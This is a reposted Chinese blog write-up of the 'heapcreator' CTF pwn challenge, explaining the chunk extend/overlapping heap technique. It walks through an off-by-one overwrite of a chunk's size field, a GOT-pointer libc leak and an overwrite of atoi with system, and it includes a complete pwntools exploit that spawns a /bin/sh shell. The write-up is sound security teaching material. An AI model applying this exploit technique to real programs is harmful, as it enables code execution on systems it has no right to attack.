未加星标

heap学习 --- Chunk Extend and Overlapping

字体大小 | |
[开发(python) 所属分类 开发(python) | 发布者 店小二03 | 时间 2018 | 作者 红领巾 ] 0人收藏点击收藏
关于 Chunk Extend and Overlapping 简述:通过修改chunk的size,free后再次malloc便可以控制一些关键字段 前提:要存在堆溢出漏洞或者off by one能够修改chunk的size字段 其余待补充。。。。 实例 heapcreator kaka@ubuntu:~/pwn_test/hitcon$ checksec heapcreator [*] '/home/kaka/pwn_test/hitcon/heapcreator' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) 1,create heap
heap学习 --- Chunk Extend and Overlapping

先申请一个0x10(chunk size = 0x20) 的 chunk , 然后根据用户输入,申请一个合适大小的chunk

可以在此处看出一个struct

struct { size :0x8; char *content :0x8; } 2,edit heap
heap学习 --- Chunk Extend and Overlapping

此处存在一个off by one漏洞(已标注),正常情况下,off by one不会影响size字段,但是64位下chunk的空间复用机制以及对齐方式导致在申请chunk时,0x10与0x18所申请的实际chunk的一样的,都是0x20,0x18多出来的8字节会使用next chunk的prev_size字段,因此修改size字段成为可能 :)

3,show heap
heap学习 --- Chunk Extend and Overlapping
4 ,delete heap
heap学习 --- Chunk Extend and Overlapping

free后置null,不能进行uaf

利用

泄露libc:先申请一个0x18的chunk(#1),再申请一个0x10 or 0x18的chunk(#2),通过edit #1 chunk 利用off by one,修改next cunk的size为0x41(为何为0x41 :前一个chunk是inuse状态,所以p位为1,每次create heap都会先 malloc 一个 0x10(size:0x20)的chunk,我们又malloc了一个0x10 or 0x18的chunk(size : 0x20),所以总size为0x40),然后free(#1 chunk),按照free的顺序,此时fastbins里面存在一个0x20的chunk(保存content),然后存在一个0x40的chunk,我们再次malloc一个0x30的chunk,程序便会先申请一个0x10的chunk,将fastbins里面的chunk返回,然后将fastbins里面的0x40的chunk返回(懒得画图了,自己画图看看就明白了),用atoi函数在got表中的地址覆盖content指针,再show一次,便可以leak libc

再次edit #1 chunk,将atoi在got表中的值覆盖为system

exp #!/usr/bin/env python # coding=utf-8 from pwn import * p=process('./heapcreator') context.log_level='debug' def create(size,content): p.recvuntil('choice :') p.sendline('1') p.recv() p.sendline(str(size)) p.recv() p.sendline(content) def edit(index,content): p.recvuntil('choice :') p.sendline('2') p.recv() p.sendline(str(index)) p.recv() p.sendline(content) def show(index): p.recv() p.sendline('3') p.recv() p.sendline(str(index)) def delete(index): p.recv() p.sendline('4') p.recv() p.sendline(str(index)) elf = ELF('./heapcreator') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') create(0x18,'aaaa') create(0x18,'bbbb') #gdb.attach(p) #raw_input('GGGG') payload = 'a'*0x18+'\x41' edit(0,payload) delete(1) create(0x30,'a'*0x20+p64(0x30)+p64(elf.got['atoi'])) show(1) p.recv(0x14) atoi=u64(p.recv(6).ljust(8,'\x00')) log.info('atoi : '+hex(atoi)) system=atoi-libc.symbols['atoi']+libc.symbols['system'] edit(1,p64(system)) p.recv() p.sendline('/bin/sh\0') p.interactive()

本文开发(python)相关术语:python基础教程 python多线程 web开发工程师 软件开发工程师 软件开发流程

tags: chunk,size,recv,sendline,atoi,content,edit,heap,index,heapcreator,libc
分页:12
转载请注明
本文标题:heap学习 --- Chunk Extend and Overlapping
本站链接:https://www.codesec.net/view/586413.html


1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
技术大类 技术大类 | 开发(python) | 评论(0) | 阅读(79)